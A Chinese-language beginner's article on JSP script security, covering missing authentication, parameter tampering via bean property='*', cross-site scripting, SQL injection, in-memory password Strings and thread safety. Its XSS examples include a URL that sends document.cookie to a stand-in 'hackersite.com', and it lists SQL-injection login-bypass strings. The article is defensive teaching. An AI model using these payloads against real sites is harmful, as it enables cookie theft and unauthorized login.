从脚本编程的角度看JSP的安全

JSP作为建立动态网页的技术正在不断升温。JSP和ASP、PHP、工作机制不太一样。一般说来,JSP页面在执行时是编译式,而不是解释式的。首次调用JSP文件其实是执行一个编译为Servlet的过程。当浏览器向服务器请求这一个JSP文件的时候,服务器将检查自上次编译后JSP文件是否有改变,如果没有改变,就直接执行Servlet,而不用再重新编译,这样,效率便得到了明显提高。

今天我将和大家一起从脚本编程的角度看JSP的安全,那些诸如源码暴露类的安全隐患就不在这篇文章讨论范围之内了。写这篇文章的主要目的是给初学JSP编程的朋友们提个醒,从一开始就要培养安全编程的意识,不要犯不该犯的错误,避免可以避免的损失。另外,我也是初学者,如有错误或其它意见请发帖赐教。

 

一、认证不严——低级失误

在溢洋论坛v1.12 修正版中,

user_manager.jsp是用户管理的页面,作者知道它的敏感性,加上了一把锁:

if ((session.getValue("UserName")==null)││
   (session.getValue("UserClass")==null)││
   (! session.getValue("UserClass").equals("系统管理员"))) {
response.sendRedirect("err.jsp?id=14");
return;
}

如果要查看、修改某用户的信息,就要用modifyuser_manager.jsp这个文件。管理员提交http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51就是查看、修改ID为51的用户的资料(管理员默认的用户ID为51)。但是,如此重要的文件竟缺乏认证,普通用户(包括游客)也直接提交上述请求也可以对其一览无余(密码也是明文存储、显示的)。modifyuser_manage.jsp同样是门户大开,直到恶意用户把数据更新的操作执行完毕,重定向到user_manager.jsp的时候,他才会看见那个姗姗来迟的显示错误的页面。显然,只锁一扇门是远远不够的,编程的时候一定要不厌其烦地为每一个该加身份认证的地方加上身份认证。

 

二、守好JavaBean的入口

 

JSP组件技术的核心是被称为bean的java组件。在程序中可把逻辑控制、数据库操作放在javabeans组件中,然后在JSP文件中调用它,这样可增加程序的清晰度及程序的可重用性。和传统的ASP或PHP页面相比,JSP页面是非常简洁的,因为许多动态页面处理过程可以封装到JavaBean中。

 

要改变JavaBean属性,要用到“”标记。

 

下面的代码是假想的某电子购物系统的源码的一部分,这个文件是用来显示用户的购物框中的信息的,而checkout.jsp是用来结帐的。

 

You have added the item

 

to your basket.

 

Your total is $

 

Proceed to checkout

 

注意到property="*"了吗?这表明用户在可见的JSP页面中输入的,或是直接通过Query String提交的全部变量的值,将存储到匹配的bean属性中。

 

一般,用户是这样提交请求的:

 

http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342

 

但是不守规矩的用户呢?他们可能会提交:

 

http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0

 

这样,balance=0的信息就被在存储到了JavaBean中了。当他们这时点击“chekout”结账的时候,费用就全免了。

 

这与PHP中全局变量导致的安全问题如出一辙。由此可见:“property="*"”一定要慎用!

 

三、长盛不衰的跨站脚本

 

跨站脚本(Cross Site Scripting)攻击是指在远程WEB页面的HTML代码中手插入恶意的JavaScript, VBScript, ActiveX, HTML, 或Flash等脚本,窃取浏览此页面的用户的隐私,改变用户的设置,破坏用户的数据。跨站脚本攻击在多数情况下不会对服务器和WEB程序的运行造成影响,但对客户端的安全构成严重的威胁。

 

以仿动网的阿菜论坛(beta-1)举个最简单的例子。当我们提交

 

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>alert(document.cookie)

 

便能弹出包含自己cookie信息的对话框。而提交

 

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>document.location='http://www.163.com'

 

就能重定向到网易。

 

由于在返回“name”变量的值给客户端时,脚本没有进行任何编码或过滤恶意代码,当用户访问嵌入恶意“name”变量数据链接时,会导致脚本代码在用户浏览器上执行,可能导致用户隐私泄露等后果。比如下面的链接:

 

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<; script>document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie

 

xxx.xxx用于收集后边跟的参数,而这里参数指定的是document.cookie,也就是访问此链接的用户的cookie。在ASP世界中,很多人已经把偷cookie的技术练得炉火纯青了。在JSP里,读取cookie也不是难事。当然,跨站脚本从来就不会局限于偷cookie这一项功能,相信大家都有一定了解,这里就不展开了。

 

对所有动态页面的输入和输出都应进行编码,可以在很大程度上避免跨站脚本的攻击。遗憾的是,对所有不可信数据编码是资源密集型的工作,会对 Web 服务器产生性能方面的影响。常用的手段还是进行输入数据的过滤,比如下面的代码就把危险的字符进行替换:

 

public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) return true;
else return false;
}

 

 

四、时刻牢记SQL注入

 

一般的编程书籍在教初学者的时候都不注意让他们从入门时就培养安全编程的习惯。著名的《JSP编程思想与实践》就是这样向初学者示范编写带数据库的登录系统的(数据库为MySQL):

Statement stmt = conn.createStatement();
String checkUser = "select * from login where username = '" + userName + "'
and userpassword = '" + userPassword + "'";
ResultSet rs = stmt.executeQuery(checkUser);
if(rs.next())
response.sendRedirect("SuccessLogin.jsp");
else
response.sendRedirect("FailureLogin.jsp");

 

 

这样使得尽信书的人长期使用这样先天“带洞”的登录代码。如果数据库里存在一个名叫“jack”的用户,那么在不知道密码的情况下至少有下面几种方法可以登录:

用户名:jack
密码:' or 'a'='a
用户名:jack
密码:' or 1=1/*
用户名:jack' or 1=1/*
密码:(任意)

 

 

lybbs(凌云论坛)ver 2.9.Server在LogInOut.java中是这样对登录提交的数据进行检查的:

if(s.equals("") ││ s1.equals(""))
throw new UserException("用户名或密码不能空。");
if(s.indexOf("'") != -1 ││ s.indexOf("\"") != -1 ││
 s.indexOf(",") != -1 ││ s.indexOf("\\") != -1)
throw new UserException("用户名不能包括 ' \" \\ , 等非法字符。");
if(s1.indexOf("'") != -1 ││ s1.indexOf("\"") != -1 ││
 s1.indexOf("*") != -1 ││ s1.indexOf("\\") != -1)
throw new UserException("密码不能包括 ' \" \\ * 等非法字符。");
if(s.startsWith(" ") ││ s1.startsWith(" "))
throw new UserException("用户名或密码中不能用空格。");

 

 

但是我不清楚为什么他只对密码而不对用户名过滤星号。另外,正斜杠似乎也应该被列到“黑名单”中。我还是认为用正则表达式只允许输入指定范围内的字符来得干脆。

 

这里要提醒一句:不要以为可以凭借某些数据库系统天生的“安全性”就可以有效地抵御所有的攻击。pinkeyes的那篇《PHP注入实例》就给那些依赖PHP的配置文件中的“magic_quotes_gpc = On”的人上了一课。

 

五、String对象带来的隐患

 

Java平台的确使安全编程更加方便了。Java中无指针,这意味着 Java 程序不再像C那样能对地址空间中的任意内存位置寻址了。在JSP文件被编译成 .class 文件时会被检查安全性问题,例如当访问超出数组大小的数组元素的尝试将被拒绝,这在很大程度上避免了缓冲区溢出攻击。但是,String对象却会给我们带来一些安全上的隐患。如果密码是存储在 Java String 对象中的,则直到对它进行垃圾收集或进程终止之前,密码会一直驻留在内存中。即使进行了垃圾收集,它仍会存在于空闲内存堆中,直到重用该内存空间为止。密码 String 在内存中驻留得越久,遭到窃听的危险性就越大。更糟的是,如果实际内存减少,则操作系统会将这个密码 String 换页调度到磁盘的交换空间,因此容易遭受磁盘块窃听攻击。为了将这种泄密的可能性降至最低(但不是消除),您应该将密码存储在 char 数组中,并在使用后对其置零(String 是不可变的,无法对其置零)。

 

六、线程安全初探

 

“JAVA能做的,JSP就能做”。与ASP、PHP等脚本语言不一样,JSP默认是以多线程方式执行的。以多线程方式执行可大大降低对系统的资源需求,提高系统的并发量及响应时间。线程在程序中是独立的、并发的执行路径,每个线程有它自己的堆栈、自己的程序计数器和自己的局部变量。虽然多线程应用程序中的大多数操作都可以并行进行,但也有某些操作(如更新全局标志或处理共享文件)不能并行进行。如果没做好线程的同步,在大并发量访问时,不需要恶意用户的“热心参与”,问题也会出现。最简单的解决方案就是在相关的JSP文件中加上: 指令,使它以单线程方式执行,这时,所有客户端的请求以串行方式执行。这样会严重降低系统的性能。我们可以仍让JSP文件以多线程方式执行,通过对函数上锁来对线程进行同步。一个函数加上synchronized 关键字就获得了一个锁。看下面的示例:

public class MyClass{
int a;
public Init() {//此方法可以多个线程同时调用
a = 0;
}
public synchronized void Set() {//两个线程不能同时调用此方法
if(a>5) {
a= a-5;
}
}
}

 

 

但是这样仍然会对系统的性能有一定影响。一个更好的方案是采用局部变量代替实例变量。因为实例变量是在堆中分配的,被属于该实例的所有线程共享,不是线程安全的,而局部变量在堆栈中分配,因为每个线程都有它自己的堆栈空间,所以这样线程就是安全的了。比如凌云论坛中添加好友的代码:

public void addFriend(int i, String s, String s1)
throws DBConnectException
{
try
{
if……
else
{
DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)");
dbconnect.setInt(1, i);
dbconnect.setString(2, s);
dbconnect.executeUpdate();
dbconnect.close();
dbconnect = null;
}
}
catch(Exception exception)
{
throw new DBConnectException(exception.getMessage());
}
}

 

 

下面是调用:

friendName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")) {
forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
errorInfo=forumFriend.getErrorInfo();
}

 

 

如果采用的是实例变量,那么该实例变量属于该实例的所有线程共享,就有可能出现用户A传递了某个参数后他的线程转为睡眠状态,而参数被用户B无意间修改,造成好友错配的现象。
 

时间: 2024-10-28 15:26:38

从脚本编程的角度看JSP的安全的相关文章

《UNIX/Linux 系统管理技术手册(第四版)》——2.2 bash脚本编程

2.2 bash脚本编程 UNIX/Linux 系统管理技术手册(第四版) bash特别适合编写简单的脚本,用来自动执行那些以往在命令行输入的操作.在命令行用的技巧也能用在bash的脚本里,反之亦然,这让用户在bash上投入的学习时间获得了最大的回报.不过,一旦bash脚本超过了100行,或者需要的特性bash没有,那么就要换到Perl或者Python上了. bash脚本的注释以一个井号(#)开头,并且注释一直延续到行尾.和命令行中一样,可以把逻辑上的一行分成多个物理上的多行来写,每行末尾用反斜

Shell脚本编程学习入门 01

从程序员的角度来看, Shell本身是一种用C语言编写的程序,从用户的角度来看,Shell是用户与Linux操作系统沟通的桥梁.用户既可以输入命令执行,又可以利用 Shell脚本编程,完成更加复杂的操作.在Linux GUI日益完善的今天,在系统管理等领域,Shell编程仍然起着不可忽视的作用.深入地了解和熟练地掌握Shell编程,是每一个Linux用户的必修功课之一. Linux的Shell种类众多,常见的有:Bourne Shell(/usr/bin/sh或/bin/sh).Bourne A

《面向ArcGIS的Python脚本编程》——1.2 Python的特点

1.2 Python的特点 面向ArcGIS的Python脚本编程Python的诸多特点使它可以作为ArcGIS的脚本语言,这些特点包括以下几方面. 简单且易学.相对于其他高度结构化的编程语言(C++或Visual Basic)而言,Python更容易被掌握.它的语法简单,编程者将有更多的时间来解决实际问题,而不需要在学习Python语言上耗费太多精力. 免费且开源.Python是一款免费并且开源的软件.用户可以自由地分发该软件的复本,查看和修改源代码,或者将其中一部分代码用在其他免费的程序里.

从编程的角度如何理解前端框架

问题描述 从编程的角度如何理解前端框架 从编程的角度如何理解前端框架 它是一个类的集合吗还是一个接口的集合还是一个方法的集合, 解决方案 比如说,jquery,它的核心是"query",也就是对dom的查询,你看它外围的插件,都是作用在jquery选择符上的,虽然插件数量庞大,但是都使用了相同的风格和流程,这个根子就是jquery,框架是程序的"灵魂". 解决方案二: 虽然框架也提供类和方法,但是它更强调流程的复用.使用一种框架,就意味着采用一种代码的风格和约定.这

LFCS 系列第十讲:学习简单的 Shell 脚本编程和文件系统故障排除

理解终端Terminals和 Shell 首先要声明一些概念. Shell 是一个程序,它将命令传递给操作系统来执行. Terminal 也是一个程序,允许最终用户使用它与 Shell 来交互.比如,下边的图片是 GNOME Terminal. Gnome Terminal 启动 Shell 之后,会呈现一个命令提示符 (也称为命令行) 提示我们 Shell 已经做好了准备,接受标准输入设备输入的命令,这个标准输入设备通常是键盘. 你可以参考该系列文章的 第一讲 如何在 Linux 上使用 GN

shell脚本编程遇到的问题

问题描述 shell脚本编程遇到的问题 初学shell编程,在网上看到了的一段判断文件夹是否时空的代码,于是想着拿来测试一下.先贴那段代码吧 #!/bin/sh #ifdirec DIRECTORY=$1 #在此加上是不是目录的判断. if [ "`ls -A $DIRECTORY`" = "" ]; then echo "$DIRECTORY is indeed empty" else echo "$DIRECTORY is not

从实体和关系角度看 PowerDesigner 设计数据库模型

从实体和关系角度看 PowerDesigner 设计数据库模型 太阳火神的美丽人生 (http://blog.csdn.net/opengl_es) 本文遵循"署名-非商业用途-保持一致"创作公用协议 转载请保留此句:太阳火神的美丽人生 -  本博客专注于 敏捷开发及移动和物联设备研究:iOS.Android.Html5.Arduino.pcDuino,否则,出自本博客的文章拒绝转载或再转载,谢谢合作. 还是从主体和关系出发,我们进行数据库建模. 和面向对象的 UML 建模有类似之处,

《面向ArcGIS的Python脚本编程》——1.7 Python脚本实例

1.7 Python脚本实例 面向ArcGIS的Python脚本编程 本节将通过两个例子来说明如何使用Python编写脚本.这两个例子来源于Esri和ArcGIS的用户社区.列举脚本实例的原因之一就是为了让读者熟悉Python代码.学习编写代码的一个最好的方法就是练习现有的代码.现在不要求读者能够理解这些代码,但是这些例子将会让您了解本书即将讲些什么. 例一:确定错误地址 AddressError脚本工具是由Esri公司的员工Bruce Harold开发的.该工具会在几条路段的范围内,检查路段中

《UNIX/Linux 系统管理技术手册(第四版)》——2.5 Python脚本编程

2.5 Python脚本编程 UNIX/Linux 系统管理技术手册(第四版) 随着项目变得越来越大.越来越复杂,面向对象的设计和实现所带来的好处,也就变得越来越清楚.Perl错过了大概5年时间,没有提供OO特性,虽然它后来又拼命去追赶,但Perl版的面向对象编程仍然显得有点儿牵强. 本节介绍Python 2.Python 3尚在开发之中,可能在本书没过时之前就能发布.但是和Perl 6不一样的是,它看上去更像是一种增量更新. 有着很强OO背景的工程师通常会喜欢Python和Ruby,这两种脚本